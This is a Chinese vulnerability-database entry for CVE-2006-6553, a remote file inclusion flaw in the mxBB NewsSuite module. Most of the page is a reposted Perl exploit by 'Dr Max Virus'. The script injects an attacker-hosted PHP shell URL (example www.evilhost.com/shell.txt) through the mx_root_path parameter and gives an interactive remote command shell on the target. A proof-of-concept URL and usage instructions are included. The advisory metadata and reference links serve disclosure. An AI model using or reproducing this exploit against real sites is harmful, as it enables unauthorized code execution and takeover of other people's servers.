MXBB Newssuite 模块'Newssuite_Constants.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111762 漏洞类型 输入验证
发布时间 2006-12-12 更新时间 2006-12-14
CVE编号 CVE-2006-6553 CNNVD-ID CNNVD-200612-319
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2925
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-319
|漏洞详情
mxBB的NewsSuite1.03模块的includes/newssuite_constants.php存在PHP远程文件包含漏洞,远程攻击者可以借助mx_root_path参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#mxBB newssuite Module v1.5  --Remote File Inclusion Exploit
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=17

#PoC: http://[target]/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=[shell]


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
	usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
	$cmd=$_;
	chomp($cmd);
	
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET=>$target.'/includes/newssuite_constants.php?mx_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";  
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[ê]/;

 
if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
} 
}
}
last;



sub header()
{
print q{
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
mxBB newssuite Module v1.5  -- Remote File  Include Exploit
      
Vulnerablity found by: Dr Max Virus
      
Exploit [c]oded by: Dr Max Virus        
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
}
}
sub usg()
{
header();
print q{
Usage:  exploit.pl <fullpath> <Shell Location> <Shell Cmd>
<FULL PATH> - Path to site exp. www.site.com
<shell Location> - Path to shell exp. www.evilhost.com/shell.txt
<shell Cmd Variable> - Command variable for php shell exp. id
Example:  exploit.pl http://www.site.com/[path]/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
};

exit();
}

# milw0rm.com [2006-12-12]
|参考资料

来源:MILW0RM
名称:2925
链接:http://www.milw0rm.com/exploits/2925
来源:VUPEN
名称:ADV-2006-4981
链接:http://www.frsirt.com/english/advisories/2006/4981
来源:SECUNIA
名称:23358
链接:http://secunia.com/advisories/23358
来源:XF
名称:mxbbnewssuite-newssuite-file-include(30855)
链接:http://xforce.iss.net/xforce/xfdb/30855
来源:BID
名称:21573
链接:http://www.securityfocus.com/bid/21573
来源:MILW0RM
名称:2925
链接:http://milw0rm.com/exploits/2925